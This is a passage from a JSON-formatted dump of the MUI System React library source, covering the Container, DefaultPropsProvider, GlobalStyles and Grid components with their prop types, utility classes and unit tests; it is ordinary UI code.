maxWidth?: Breakpoint | false | undefined;\n    /**\n     * The system prop that allows defining system overrides as well as additional CSS styles.\n     */\n    sx?: SxProps<Theme> | undefined;\n  };\n  defaultComponent: DefaultComponent;\n}\n\nexport type ContainerProps<\n  RootComponent extends React.ElementType = ContainerTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ContainerTypeMap<AdditionalProps, RootComponent>, RootComponent>;\n"
  },
  {
    "path": "packages/mui-system/src/Container/containerClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ContainerClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `disableGutters={true}`. */\n  disableGutters: string;\n  /** Styles applied to the root element if `fixed={true}`. */\n  fixed: string;\n  /** Styles applied to the root element if `maxWidth=\"xs\"`. */\n  maxWidthXs: string;\n  /** Styles applied to the root element if `maxWidth=\"sm\"`. */\n  maxWidthSm: string;\n  /** Styles applied to the root element if `maxWidth=\"md\"`. */\n  maxWidthMd: string;\n  /** Styles applied to the root element if `maxWidth=\"lg\"`. */\n  maxWidthLg: string;\n  /** Styles applied to the root element if `maxWidth=\"xl\"`. */\n  maxWidthXl: string;\n}\n\nexport type ContainerClassKey = keyof ContainerClasses;\n\nexport function getContainerUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiContainer', slot);\n}\n\nconst containerClasses: ContainerClasses = generateUtilityClasses('MuiContainer', [\n  'root',\n  'disableGutters',\n  'fixed',\n  'maxWidthXs',\n  'maxWidthSm',\n  'maxWidthMd',\n  'maxWidthLg',\n  'maxWidthXl',\n]);\n\nexport default containerClasses;\n"
  },
  {
    "path": "packages/mui-system/src/Container/createContainer.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { Interpolation, MUIStyledComponent as StyledComponent } from '@mui/styled-engine';\nimport { OverridableComponent } from '@mui/types';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '@mui/utils/capitalize';\nimport { ContainerProps, ContainerTypeMap } from './ContainerProps';\nimport useThemePropsSystem from '../useThemeProps';\nimport systemStyled from '../styled';\nimport createTheme, { Theme as DefaultTheme, Breakpoint } from '../createTheme';\n\ninterface StyleFnProps<Theme> extends ContainerProps {\n  theme: Theme;\n  ownerState: ContainerProps;\n}\n\nconst defaultTheme = createTheme();\n\nconst defaultCreateStyledComponent = systemStyled('div', {\n  name: 'MuiContainer',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[`maxWidth${capitalize(String(ownerState.maxWidth))}`],\n      ownerState.fixed && styles.fixed,\n      ownerState.disableGutters && styles.disableGutters,\n    ];\n  },\n});\n\nconst useThemePropsDefault = (inProps: ContainerProps) =>\n  useThemePropsSystem({ props: inProps, name: 'MuiContainer', defaultTheme });\n\nconst useUtilityClasses = (ownerState: ContainerProps, componentName: string) => {\n  const getContainerUtilityClass = (slot: string) => {\n    return generateUtilityClass(componentName, slot);\n  };\n  const { classes, fixed, disableGutters, maxWidth } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      maxWidth && `maxWidth${capitalize(String(maxWidth))}`,\n      fixed && 'fixed',\n      disableGutters && 'disableGutters',\n    ],\n  };\n\n  return composeClasses(slots, getContainerUtilityClass, classes);\n};\n\ntype RequiredThemeStructure = Pick<DefaultTheme, 'breakpoints' | 'spacing'>;\n\nexport default function createContainer<Theme extends RequiredThemeStructure = DefaultTheme>(\n  options: {\n    createStyledComponent?:\n      | ((...styles: Array<Interpolation<StyleFnProps<Theme>>>) => StyledComponent<ContainerProps>)\n      | undefined;\n    useThemeProps?:\n      | ((\n          inProps: ContainerProps,\n        ) => ContainerProps & { component?: React.ElementType | undefined })\n      | undefined;\n    componentName?: string | undefined;\n  } = {},\n) {\n  const {\n    // This will allow adding custom styled fn (for example for custom sx style function)\n    createStyledComponent = defaultCreateStyledComponent,\n    useThemeProps = useThemePropsDefault,\n    componentName = 'MuiContainer',\n  } = options;\n\n  const ContainerRoot = createStyledComponent(\n    ({ theme, ownerState }: StyleFnProps<Theme>) =>\n      ({\n        width: '100%',\n        marginLeft: 'auto',\n        boxSizing: 'border-box',\n        marginRight: 'auto',\n        ...(!ownerState.disableGutters && {\n          paddingLeft: theme.spacing(2),\n          paddingRight: theme.spacing(2),\n          // @ts-ignore module augmentation fails if custom breakpoints are used\n          [theme.breakpoints.up('sm')]: {\n            paddingLeft: theme.spacing(3),\n            paddingRight: theme.spacing(3),\n          },\n        }),\n      }) as Interpolation<StyleFnProps<Theme>>,\n    ({ theme, ownerState }: StyleFnProps<Theme>) =>\n      ownerState.fixed &&\n      Object.keys(theme.breakpoints.values).reduce((acc, breakpointValueKey) => {\n        const breakpoint = breakpointValueKey;\n        const value = theme.breakpoints.values[breakpoint as Breakpoint];\n\n        if (value !== 0) {\n          // @ts-ignore\n          acc[theme.breakpoints.up(breakpoint)] = {\n            maxWidth: `${value}${theme.breakpoints.unit}`,\n          };\n        }\n        return acc;\n      }, {}),\n    ({ theme, ownerState }: StyleFnProps<Theme>) => ({\n      // @ts-ignore module augmentation fails if custom breakpoints are used\n      ...(ownerState.maxWidth === 'xs' && {\n        // @ts-ignore module augmentation fails if custom breakpoints are used\n        [theme.breakpoints.up('xs')]: {\n          // @ts-ignore module augmentation fails if custom breakpoints are used\n          maxWidth: Math.max(theme.breakpoints.values.xs, 444),\n        },\n      }),\n      ...(ownerState.maxWidth &&\n        // @ts-ignore module augmentation fails if custom breakpoints are used\n        ownerState.maxWidth !== 'xs' && {\n          // @ts-ignore module augmentation fails if custom breakpoints are used\n          [theme.breakpoints.up(ownerState.maxWidth)]: {\n            // @ts-ignore module augmentation fails if custom breakpoints are used\n            maxWidth: `${theme.breakpoints.values[ownerState.maxWidth]}${theme.breakpoints.unit}`,\n          },\n        }),\n    }),\n  );\n\n  const Container = React.forwardRef(function Container(inProps, ref) {\n    const props: ContainerProps & { component?: React.ElementType | undefined } =\n      useThemeProps(inProps);\n    const {\n      className,\n      component = 'div',\n      disableGutters = false,\n      fixed = false,\n      maxWidth = 'lg',\n      classes: classesProp,\n      ...other\n    } = props;\n\n    const ownerState = {\n      ...props,\n      component,\n      disableGutters,\n      fixed,\n      maxWidth,\n    };\n\n    // @ts-ignore module augmentation fails if custom breakpoints are used\n    const classes = useUtilityClasses(ownerState, componentName);\n\n    return (\n      // @ts-ignore theme is injected by the styled util\n      <ContainerRoot\n        as={component}\n        // @ts-ignore module augmentation fails if custom breakpoints are used\n        ownerState={ownerState}\n        className={clsx(classes.root, className)}\n        ref={ref}\n        {...other}\n      />\n    );\n  }) as OverridableComponent<ContainerTypeMap>;\n\n  Container.propTypes /* remove-proptypes */ = {\n    children: PropTypes.node,\n    classes: PropTypes.object,\n    className: PropTypes.string,\n    component: PropTypes.elementType,\n    disableGutters: PropTypes.bool,\n    fixed: PropTypes.bool,\n    maxWidth: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n      PropTypes.oneOf(['xs', 'sm', 'md', 'lg', 'xl', false]),\n      PropTypes.string,\n    ]),\n    sx: PropTypes.oneOfType([\n      PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n      PropTypes.func,\n      PropTypes.object,\n    ]),\n  };\n\n  return Container;\n}\n"
  },
  {
    "path": "packages/mui-system/src/Container/index.d.ts",
    "content": "export { default } from './Container';\nexport * from './ContainerProps';\n\nexport { default as containerClasses } from './containerClasses';\nexport * from './containerClasses';\n"
  },
  {
    "path": "packages/mui-system/src/Container/index.js",
    "content": "export { default } from './Container';\n\nexport { default as containerClasses } from './containerClasses';\nexport * from './containerClasses';\n"
  },
  {
    "path": "packages/mui-system/src/DefaultPropsProvider/DefaultPropsProvider.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport resolveProps from '@mui/utils/resolveProps';\n\nconst PropsContext = React.createContext<Record<string, any> | undefined>(undefined);\n\nfunction DefaultPropsProvider({\n  value,\n  children,\n}: React.PropsWithChildren<{ value: Record<string, any> | undefined }>) {\n  return <PropsContext.Provider value={value}>{children}</PropsContext.Provider>;\n}\n\nDefaultPropsProvider.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * @ignore\n   */\n  value: PropTypes.object,\n} as any;\n\nfunction getThemeProps<\n  Theme extends {\n    components?:\n      | (Record<string, { defaultProps?: any; styleOverrides?: any; variants?: any }> & {\n          mergeClassNameAndStyle?: boolean | undefined;\n        })\n      | undefined;\n  },\n  Props,\n  Name extends string,\n>(params: { props: Props; name: Name; theme?: Theme | undefined }): Props {\n  const { theme, name, props } = params;\n\n  if (!theme || !theme.components || !theme.components[name]) {\n    return props;\n  }\n  const config = theme.components[name];\n\n  if (config.defaultProps) {\n    // compatible with v5 signature\n    return resolveProps(config.defaultProps, props, theme.components.mergeClassNameAndStyle);\n  }\n\n  if (!config.styleOverrides && !config.variants) {\n    // v6 signature, no property 'defaultProps'\n    return resolveProps(config as any, props, theme.components.mergeClassNameAndStyle);\n  }\n  return props;\n}\n\nexport function useDefaultProps<Props>({ props, name }: { props: Props; name: string }) {\n  const ctx = React.useContext(PropsContext);\n  return getThemeProps({ props, name, theme: { components: ctx } });\n}\n\nexport default DefaultPropsProvider;\n"
  },
  {
    "path": "packages/mui-system/src/DefaultPropsProvider/index.ts",
    "content": "export { default, useDefaultProps } from './DefaultPropsProvider';\n"
  },
  {
    "path": "packages/mui-system/src/GlobalStyles/GlobalStyles.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { GlobalStyles } from '@mui/system';\n\ndescribe('<GlobalStyles />', () => {\n  const { render } = createRenderer();\n\n  it('should work', () => {\n    expect(() => render(<GlobalStyles styles={{}} />)).not.to.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/GlobalStyles/GlobalStyles.tsx",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport {\n  GlobalStyles as MuiGlobalStyles,\n  Interpolation,\n  internal_serializeStyles as serializeStyles,\n} from '@mui/styled-engine';\nimport useTheme from '../useTheme';\nimport { Theme as SystemTheme } from '../createTheme';\n\nexport interface GlobalStylesProps<Theme = SystemTheme> {\n  styles: Interpolation<Theme>;\n  defaultTheme?: object | undefined;\n  themeId?: string | undefined;\n}\n\nfunction wrapGlobalLayer(styles: any) {\n  const serialized = serializeStyles(styles) as { styles?: string | undefined };\n  if (styles !== serialized && serialized.styles) {\n    if (!serialized.styles.match(/^@layer\\s+[^{]*$/)) {\n      // If the styles are not already wrapped in a layer, wrap them in a global layer.\n      serialized.styles = `@layer global{${serialized.styles}}`;\n    }\n    return serialized;\n  }\n  return styles;\n}\n\nfunction GlobalStyles<Theme = SystemTheme>({\n  styles,\n  themeId,\n  defaultTheme = {},\n}: GlobalStylesProps<Theme>) {\n  const upperTheme = useTheme(defaultTheme);\n  const resolvedTheme = themeId ? (upperTheme as any)[themeId] || upperTheme : upperTheme;\n\n  let globalStyles = typeof styles === 'function' ? styles(resolvedTheme) : styles;\n  if (resolvedTheme.modularCssLayers) {\n    if (Array.isArray(globalStyles)) {\n      globalStyles = globalStyles.map((styleArg) => {\n        if (typeof styleArg === 'function') {\n          return wrapGlobalLayer(styleArg(resolvedTheme));\n        }\n        return wrapGlobalLayer(styleArg);\n      });\n    } else {\n      globalStyles = wrapGlobalLayer(globalStyles);\n    }\n  }\n\n  return <MuiGlobalStyles styles={globalStyles as any} />;\n}\n\nGlobalStyles.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  defaultTheme: PropTypes.object,\n  /**\n   * @ignore\n   */\n  styles: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.array,\n    PropTypes.func,\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n    PropTypes.bool,\n  ]),\n  /**\n   * @ignore\n   */\n  themeId: PropTypes.string,\n} as any;\n\nexport default GlobalStyles;\n"
  },
  {
    "path": "packages/mui-system/src/GlobalStyles/index.ts",
    "content": "export { default } from './GlobalStyles';\nexport * from './GlobalStyles';\n"
  },
  {
    "path": "packages/mui-system/src/Grid/Grid.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen, isJsdom } from '@mui/internal-test-utils';\nimport { ThemeProvider } from '@mui/system';\nimport createTheme from '@mui/system/createTheme';\nimport Grid, { gridClasses as classes } from '@mui/system/Grid';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('System <Grid />', () => {\n  const { render } = createRenderer();\n\n  const defaultProps = {\n    children: <div />,\n  };\n\n  describeConformance(<Grid {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    ThemeProvider,\n    refInstanceof: window.HTMLElement,\n    muiName: 'MuiGrid',\n    testVariantProps: { container: true, spacing: 5 },\n    skip: ['classesRoot'],\n  }));\n\n  describe('prop: container', () => {\n    it('should apply the container class', () => {\n      const { container } = render(<Grid container />);\n      expect(container.firstChild).to.have.class(classes.container);\n    });\n  });\n\n  describe('prop: xs', () => {\n    it('should apply the flex-grow class', () => {\n      const { container } = render(<Grid size=\"grow\" />);\n      expect(container.firstChild).to.have.class(classes['grid-xs-grow']);\n    });\n\n    it('should apply the flex size class', () => {\n      const { container } = render(<Grid size={3} />);\n      expect(container.firstChild).to.have.class(classes['grid-xs-3']);\n    });\n\n    it('should apply the flex auto class', () => {\n      const { container } = render(<Grid size=\"auto\" />);\n      expect(container.firstChild).to.have.class(classes['grid-xs-auto']);\n    });\n\n    // Need full CSS resolution\n    it.skipIf(isJsdom())(\n      'should apply the styles necessary for variable width nested item when set to auto',\n      function test() {\n        render(\n          <Grid container>\n            <Grid container data-testid=\"auto\" size=\"auto\">\n              <div style={{ width: '300px' }} />\n            </Grid>\n            <Grid size={11} />\n          </Grid>,\n        );\n        expect(screen.getByTestId('auto')).toHaveComputedStyle({\n          flexBasis: 'auto',\n          flexGrow: '0',\n          flexShrink: '0',\n          maxWidth: 'none',\n          width: '300px',\n        });\n      },\n    );\n  });\n\n  describe('prop: spacing', () => {\n    it('should have a spacing', () => {\n      const { container } = render(<Grid container spacing={1} />);\n      expect(container.firstChild).to.have.class(classes['spacing-xs-1']);\n    });\n\n    it('should not support undefined values', () => {\n      const { container } = render(\n        <Grid container>\n          <Grid data-testid=\"child\" />\n        </Grid>,\n      );\n      expect(container.firstChild).not.to.have.class('MuiGrid-spacing-xs-undefined');\n    });\n\n    it('should not support zero values', () => {\n      const { container } = render(\n        <Grid container spacing={0}>\n          <Grid data-testid=\"child\" />\n        </Grid>,\n      );\n      expect(container.firstChild).not.to.have.class('MuiGrid-spacing-xs-0');\n    });\n\n    it('should support object values', () => {\n      const { container } = render(\n        <Grid container spacing={{ sm: 1.5, md: 2 }}>\n          <Grid data-testid=\"child\" />\n        </Grid>,\n      );\n      expect(container.firstChild).to.have.class('MuiGrid-spacing-sm-1.5');\n      expect(container.firstChild).to.have.class('MuiGrid-spacing-md-2');\n    });\n\n    it('should ignore object values of zero', () => {\n      const { container } = render(\n        <Grid container spacing={{ sm: 0, md: 2 }}>\n          <Grid data-testid=\"child\" />\n        </Grid>,\n      );\n      expect(container.firstChild).not.to.have.class('MuiGrid-spacing-sm-0');\n      expect(container.firstChild).to.have.class('MuiGrid-spacing-md-2');\n    });\n  });\n\n  describe('spacing', () => {\n    it.skipIf(isJsdom())('should generate the right values', function test() {\n      const parentWidth = 500;\n      const remValue = 16;\n      const remTheme = createTheme({\n        spacing: (factor) => `${0.25 * factor}rem`,\n      });\n\n      const view = render(\n        <div style={{ width: parentWidth }}>\n          <ThemeProvider theme={remTheme}>\n            <Grid data-testid=\"grid\" container spacing={2}>\n              <Grid data-testid=\"first-custom-theme\" />\n              <Grid />\n            </Grid>\n          </ThemeProvider>\n        </div>,\n      );\n\n      expect(screen.getByTestId('grid')).toHaveComputedStyle({\n        rowGap: `${0.5 * remValue}px`, // 0.5rem\n        columnGap: `${0.5 * remValue}px`, // 0.5rem\n      });\n\n      view.rerender(\n        <div style={{ width: parentWidth }}>\n          <Grid data-testid=\"grid\" container spacing={2}>\n            <Grid data-testid=\"first-default-theme\" />\n            <Grid />\n          </Grid>\n        </div>,\n      );\n\n      expect(screen.getByTestId('grid')).toHaveComputedStyle({\n        rowGap: '16px',\n        columnGap: '16px',\n      });\n    });\n  });\n\n  describe('prop: wrap', () => {\n    it('should wrap by default', () => {\n      render(<Grid container data-testid=\"wrap\" />);\n      expect(screen.getByTestId('wrap')).toHaveComputedStyle({\n        flexWrap: 'wrap',\n      });\n    });\n\n    it('should apply nowrap class and style', () => {\n      const view = render(<Grid container wrap=\"nowrap\" data-testid=\"wrap\" />);\n      expect(view.container.firstChild).to.have.class('MuiGrid-wrap-xs-nowrap');\n      expect(screen.getByTestId('wrap')).toHaveComputedStyle({\n        flexWrap: 'nowrap',\n      });\n    });\n\n    it('should apply wrap-reverse class and style', () => {\n      const view = render(<Grid container wrap=\"wrap-reverse\" data-testid=\"wrap\" />);\n      expect(view.container.firstChild).to.have.class('MuiGrid-wrap-xs-wrap-reverse');\n      expect(screen.getByTestId('wrap')).toHaveComputedStyle({\n        flexWrap: 'wrap-reverse',\n      });\n    });\n  });\n\n  describe('Custom breakpoints', () => {\n    it('should apply the custom breakpoint class', () => {\n      const { container } = render(\n        <ThemeProvider\n          theme={createTheme({\n            breakpoints: {\n              values: {\n                mobile: 0,\n                tablet: 640,\n                laptop: 1024,\n              },\n            },\n          })}\n        >\n          {/* `lg` is to mimic mistake, it is not a breakpoint anymore */}\n          <Grid\n            size={{\n              mobile: 2,\n              tablet: 3,\n              laptop: 'auto',\n            }}\n          />\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).to.have.class('MuiGrid-grid-mobile-2');\n      expect(container.firstChild).to.have.class('MuiGrid-grid-tablet-3');\n      expect(container.firstChild).to.have.class('MuiGrid-grid-laptop-auto');\n\n      // The grid should not have class for `lg` prop\n      expect(container.firstChild).not.to.have.class('MuiGrid-grid-lg-5');\n    });\n\n    it('should apply the custom breakpoint spacing class', () => {\n      const { container } = render(\n        <ThemeProvider\n          theme={createTheme({\n            breakpoints: {\n              values: {\n                mobile: 0,\n                tablet: 640,\n                laptop: 1024,\n              },\n            },\n          })}\n        >\n          <Grid container spacing={2} />\n          <Grid container spacing={{ tablet: 2, laptop: 4 }} />\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).to.have.class('MuiGrid-spacing-mobile-2');\n\n      expect(container.lastChild).to.have.class('MuiGrid-spacing-tablet-2');\n      expect(container.lastChild).to.have.class('MuiGrid-spacing-laptop-4');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/Grid/Grid.tsx",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport createGrid from './createGrid';\n/**\n *\n * Demos:\n *\n * - [Grid (Material UI)](https://mui.com/material-ui/react-grid/)\n *\n * API:\n *\n * - [Grid API](https://mui.com/system/api/grid/)\n */\nconst Grid = createGrid();\n\nGrid.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * The number of columns.\n   * @default 12\n   */\n  columns: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.number),\n    PropTypes.number,\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the horizontal space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  columnSpacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will have the flex *container* behavior.\n   * You should be wrapping *items* with a *container*.\n   * @default false\n   */\n  container: PropTypes.bool,\n  /**\n   * Defines the `flex-direction` style property for the container.\n   *\n   * ⚠️ Only `row` and `row-reverse` are supported. `column` and `column-reverse` are not supported,\n   * because the Grid component is designed to subdivide layouts into **columns**, not rows.\n   *\n   * For vertical layouts, use `Stack` instead.\n   *\n   * @default 'row'\n   */\n  direction: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['row-reverse', 'row']),\n    PropTypes.arrayOf(PropTypes.oneOf(['row-reverse', 'row'])),\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the offset value for the type `item` components.\n   */\n  offset: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.string,\n    PropTypes.number,\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])),\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the vertical space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  rowSpacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * Defines the size of the the type `item` components.\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.string,\n    PropTypes.bool,\n    PropTypes.number,\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.bool, PropTypes.number])),\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the space between the type `item` components.\n   * It can only be used on a type `container` component.\n   * @default 0\n   */\n  spacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * @ignore\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * @internal\n   * The level of the grid starts from `0` and increases when the grid nests\n   * inside another grid. Nesting is defined as a container Grid being a direct\n   * child of a container Grid.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid container> // level 1\n   *     <Grid container> // level 2\n   * ```\n   *\n   * Only consecutive grid is considered nesting. A grid container will start at\n   * `0` if there are non-Grid container element above it.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <div>\n   *     <Grid container> // level 0\n   * ```\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid>\n   *     <Grid container> // level 0\n   * ```\n   */\n  unstable_level: PropTypes.number,\n  /**\n   * Defines the `flex-wrap` style property.\n   * It's applied for all screen sizes.\n   * @default 'wrap'\n   */\n  wrap: PropTypes.oneOf(['nowrap', 'wrap-reverse', 'wrap']),\n} as any;\n\nexport default Grid;\n"
  },
  {
    "path": "packages/mui-system/src/Grid/GridProps.ts",
    "content": "import * as React from 'react';\nimport { OverrideProps, PartiallyRequired } from '@mui/types';\nimport { SxProps } from '../styleFunctionSx';\nimport { Theme, Breakpoint } from '../createTheme';\n\ntype ResponsiveStyleValue<T> = T | Array<T | null> | { [key in Breakpoint]?: T | null };\n\nexport type GridDirection = 'row' | 'row-reverse';\n\nexport type GridSpacing = number | string;\n\nexport type GridWrap = 'nowrap' | 'wrap' | 'wrap-reverse';\n\nexport type GridSize = 'auto' | 'grow' | number | false;\n\nexport type GridOffset = 'auto' | number;\n\nexport interface GridBaseProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * The number of columns.\n   * @default 12\n   */\n  columns?: ResponsiveStyleValue<number> | undefined;\n  /**\n   * Defines the horizontal space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  columnSpacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * If `true`, the component will have the flex *container* behavior.\n   * You should be wrapping *items* with a *container*.\n   * @default false\n   */\n  container?: boolean | undefined;\n  /**\n   * Defines the `flex-direction` style property for the container.\n   *\n   * ⚠️ Only `row` and `row-reverse` are supported. `column` and `column-reverse` are not supported,\n   * because the Grid component is designed to subdivide layouts into **columns**, not rows.\n   *\n   * For vertical layouts, use `Stack` instead.\n   *\n   * @default 'row'\n   */\n  direction?: ResponsiveStyleValue<GridDirection> | undefined;\n  /**\n   * Defines the offset value for the type `item` components.\n   */\n  offset?: ResponsiveStyleValue<GridOffset> | undefined;\n  /**\n   * @internal\n   * The level of the grid starts from `0` and increases when the grid nests\n   * inside another grid. Nesting is defined as a container Grid being a direct\n   * child of a container Grid.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid container> // level 1\n   *     <Grid container> // level 2\n   * ```\n   *\n   * Only consecutive grid is considered nesting. A grid container will start at\n   * `0` if there are non-Grid container element above it.\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <div>\n   *     <Grid container> // level 0\n   * ```\n   *\n   * ```js\n   * <Grid container> // level 0\n   *   <Grid>\n   *     <Grid container> // level 0\n   * ```\n   */\n  unstable_level?: number | undefined;\n  /**\n   * Defines the vertical space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  rowSpacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * Defines the size of the the type `item` components.\n   */\n  size?: ResponsiveStyleValue<GridSize> | undefined;\n  /**\n   * Defines the space between the type `item` components.\n   * It can only be used on a type `container` component.\n   * @default 0\n   */\n  spacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * Defines the `flex-wrap` style property.\n   * It's applied for all screen sizes.\n   * @default 'wrap'\n   */\n  wrap?: GridWrap | undefined;\n}\n\nexport type GridOwnerState = PartiallyRequired<GridBaseProps, 'size' | 'offset' | 'unstable_level'>;\n\nexport interface GridTypeMap<\n  AdditionalProps = {},\n  DefaultComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & GridBaseProps & { sx?: SxProps<Theme> | undefined };\n  defaultComponent: DefaultComponent;\n}\n\nexport type GridProps<\n  RootComponent extends React.ElementType = GridTypeMap['defaultComponent'],\n  AdditionalProps = {\n    component?: React.ElementType | undefined;\n  },\n> = OverrideProps<GridTypeMap<AdditionalProps, RootComponent>, RootComponent>;\n"
  },
  {
    "path": "packages/mui-system/src/Grid/createGrid.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { OverridableComponent } from '@mui/types';\nimport isMuiElement from '@mui/utils/isMuiElement';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport composeClasses from '@mui/utils/composeClasses';\nimport systemStyled from '../styled';\nimport useThemePropsSystem from '../useThemeProps';\nimport useThemeSystem from '../useTheme';\nimport createTheme, { Breakpoint, Breakpoints } from '../createTheme';\nimport {\n  generateGridStyles,\n  generateGridSizeStyles,\n  generateGridColumnsStyles,\n  generateGridColumnSpacingStyles,\n  generateGridRowSpacingStyles,\n  generateGridDirectionStyles,\n  generateGridOffsetStyles,\n  generateSizeClassNames,\n  generateSpacingClassNames,\n  generateDirectionClasses,\n} from './gridGenerator';\nimport { CreateMUIStyled } from '../createStyled';\nimport { GridTypeMap, GridOwnerState, GridProps, GridOffset, GridSize } from './GridProps';\n\nconst defaultTheme = createTheme();\n\n// widening Theme to any so that the consumer can own the theme structure.\nconst defaultCreateStyledComponent = (systemStyled as CreateMUIStyled<any>)('div', {\n  name: 'MuiGrid',\n  slot: 'Root',\n});\n\nfunction useThemePropsDefault<T extends {}>(props: T) {\n  return useThemePropsSystem({\n    props,\n    name: 'MuiGrid',\n    defaultTheme,\n  });\n}\n\nexport default function createGrid(\n  options: {\n    createStyledComponent?: typeof defaultCreateStyledComponent | undefined;\n    useThemeProps?: typeof useThemePropsDefault | undefined;\n    useTheme?: typeof useThemeSystem | undefined;\n    componentName?: string | undefined;\n  } = {},\n) {\n  const {\n    // This will allow adding custom styled fn (for example for custom sx style function)\n    createStyledComponent = defaultCreateStyledComponent,\n    useThemeProps = useThemePropsDefault,\n    useTheme = useThemeSystem,\n    componentName = 'MuiGrid',\n  } = options;\n\n  const useUtilityClasses = (ownerState: GridOwnerState, theme: typeof defaultTheme) => {\n    const { container, direction, spacing, wrap, size } = ownerState;\n    const slots = {\n      root: [\n        'root',\n        container && 'container',\n        wrap !== 'wrap' && `wrap-xs-${String(wrap)}`,\n        ...generateDirectionClasses(direction),\n        ...generateSizeClassNames(size),\n        ...(container ? generateSpacingClassNames(spacing, theme.breakpoints.keys[0]) : []),\n      ],\n    };\n\n    return composeClasses(slots, (slot) => generateUtilityClass(componentName, slot), {});\n  };\n\n  function parseResponsiveProp<T extends GridSize | GridOffset>(\n    propValue: T | null | (T | null)[] | { [key in Breakpoint]?: T | null },\n    breakpoints: Breakpoints,\n    shouldUseValue: (val: T) => boolean = () => true,\n  ): { [key in Breakpoint]: T } {\n    const parsedProp = {} as { [key in 